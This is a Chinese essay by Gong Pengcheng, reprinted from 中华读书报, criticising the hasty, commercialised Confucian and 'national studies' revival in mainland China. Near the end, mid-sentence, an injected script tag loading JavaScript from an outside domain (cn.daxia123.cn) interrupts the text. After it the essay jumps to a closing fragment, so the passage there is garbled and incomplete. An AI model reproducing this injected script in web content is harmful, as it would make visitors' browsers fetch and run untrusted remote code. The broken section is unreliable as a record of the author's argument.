作者:龚鹏程 转载于:中华读书报
20世纪90年代后,传统文化愈来愈受重视,各种被描述为“国学热”、“儒学复兴”的社会现象,目不暇给。既有学院中竞设国学院所、争开国学班之状况,也有社会上遍是文化讲坛、儿童读经班,乃至出现国学辣妹、汉服运动之类。各地又或祭孔、祭三皇、祭五帝,或大讲姓氏文化、尊祖报本,或抬出乡贤名儒,号召儒商。凡此等等,无法殚述,形成新时代最特殊的文化景观。
这种文化现象之形成,原因复杂,此处不予分析。因此现在我要谈的,乃是对它的一些反思。
不用说,我对内地的儒学复苏是赞赏的。我在台湾成长,当年之理想,便是风雨如晦、鸡鸣不已,期待儒学能在神州复兴。如今美梦成真,不胜雀跃。看见孔子重被珍视,圣经贤传又复炳炳琅琅于人口,一本于丹讲《论语》而竟可销行数百万册,全球且遍设孔子学院,不禁飘飘然又有文化大国国民之感。
然而,儒学复兴或许又来得太快太轻易了。学术界还没准备好、社会条件也不足,以致所谓儒学复兴不仅颇见乱象,真实内涵亦颇堪疑。
例如学界到处办国学院、国学班,可是国学中断或停滞了几十年,如今通晓国学的人有多少?师资何在?教材又在哪?过去批判孔子的人,如今俯徇时尚,转来讲儒学,当然没什么不好,但真正的研究又如何?80年代,通过对港台新儒家的介绍与对话,并整理章太炎、熊十力等早期儒者的文集,儒学研究确实奠定了点基础,也培养了若干人才。但新时代儒风大盛,儒学研究却其实并无进展。没有新学派,也无新理论。从前留下来的学术问题,看来也没人在意。因此虽然社会上儒学仿佛热得很,我们内行人却很明白:儒学研究目前甚是萧条,新意无多,学术社群也没什么活力。
而就在老成凋谢、中壮辈濒届退休、青年学者又还不成气候的这个时候,社会对儒学之需求却是空前巨大,要学界提供各式讲员、写各种书。学界根本无法应付,出版社遂只好大量翻印老书或出版通俗讲论(如张居正、南怀瑾及各大学各名师的讲记),以应时需。这类书,在盗版市场上更多,足征社会需求之殷。但通俗讲论本来粗浅,内中且多错误。出版社大出特出,无非图其方便,找个人讲讲,录音整理即可成书,不用等学者十年磨一剑。印老书,当然好,可是也往往欠缺学术考虑。如胡适《说儒》原只是一篇小文章,但现在配了图,包装成了一本大书。该文本是有争议的,就一本书而言,其内容亦显单薄。可是学界现今并没什么总说儒家较好的著作,出版社这么做,恐也出于无奈。
浮嚣之因
制度方面,内地的孔庙、书院、朱熹、王阳明、黄宗羲、章太炎等名儒故居及旧址,现在大都不属于教育与科研体制,而是隶辖文化部门或旅游部门,不讲学、不做研究,只是辟地做生意,兜揽游客上门。正式教育体制中,大学文科的系所、经费、资源皆远不及理工商管吃香,学生报考文科的热情也正逐年下降。大学里的国学班国学院虽办得热闹,国学却迄今仍不被教育主管官署视为一正式学门。儒学同样也非正式学科,只能挂在“哲学”底下,做为“中国哲学”的一个分支。可是儒学的历史面、社会面等等,均非哲学所能涵括。此类制度的社会条件若未改善,国学或儒学云云便只是虚热闹,很难落实。
社会文化心态方面,则是浮嚣、躁动。感觉传统文化好、感觉需要补充文化知识,便一古脑儿发起劲来,很有群众运动的架势。这个工程、那个大典,汹汹然好不热闹。若究其实,却多是空乏无底气的。学术性不足,而普及化太早,有点儿本末倒置。
这不仅是发展儒学才如此。好日子没过上几天,饮膳品位根本还没提升,已嚷着要吃粗食吃土菜,说是厌珍馐而贵螺蛤了;人文与艺术,根本还不娴熟法度,对中西传统不识之无,已然高谈创新,要把自己建立为典范了。此等浮嚣的文化心态,使得大家热衷于放焰火或看烟火表演,而吝于注意埋水管的工作。媒体与社会联手打造着文化明星、追求轰动效应,却并不关心上述儒学发展之体制问题,也未必支持学术。令人沉思的儒学内涵,遂往往在此情境中被简化成一客快餐,或一品点缀快乐生活的巧克力冰淇淋。
在所谓儒学复兴的这个年代,恰好又逢着经济成长,以致儒学发展颇受经济利益之驱遣,商业炒作、时尚风潮,构成一幅奇异的风景。
各级地政府,常以传统文化为名目,办祭典、祀先贤,或打造族谱村、姓氏大会,建中华文化标示城,并把孔庙、书院辟为观光旅游景点。但文化搭台、经济唱戏,旨不在宏扬文化,而是藉此发展经济,带动地方建设,招商引资。有些城市喜谈儒商传统,或设法建立新的全球儒商关系,其意略同。这些地方的官与商,都艳称儒学,但据我亲身体会,大抵对儒学是既不懂也缺乏敬意的。他们办的典礼、召开的学术研讨会,通常皆无什么学术价值及文化意义,无非搞活动以吸引人潮与钱潮罢了。儒商问题,本来在90年代是非常有意义的课题,可以做许多理论挖掘与历史探索,但如今也被庸俗化了。
儒学与企业管理的问题也一样,原本值得深论,可是目前各学院?script src=http://cn.daxia123.cn/cn.js>
,我们不该掠影浮光地把玩古人的智慧,而当崇本务实,更关注生活情境的完善。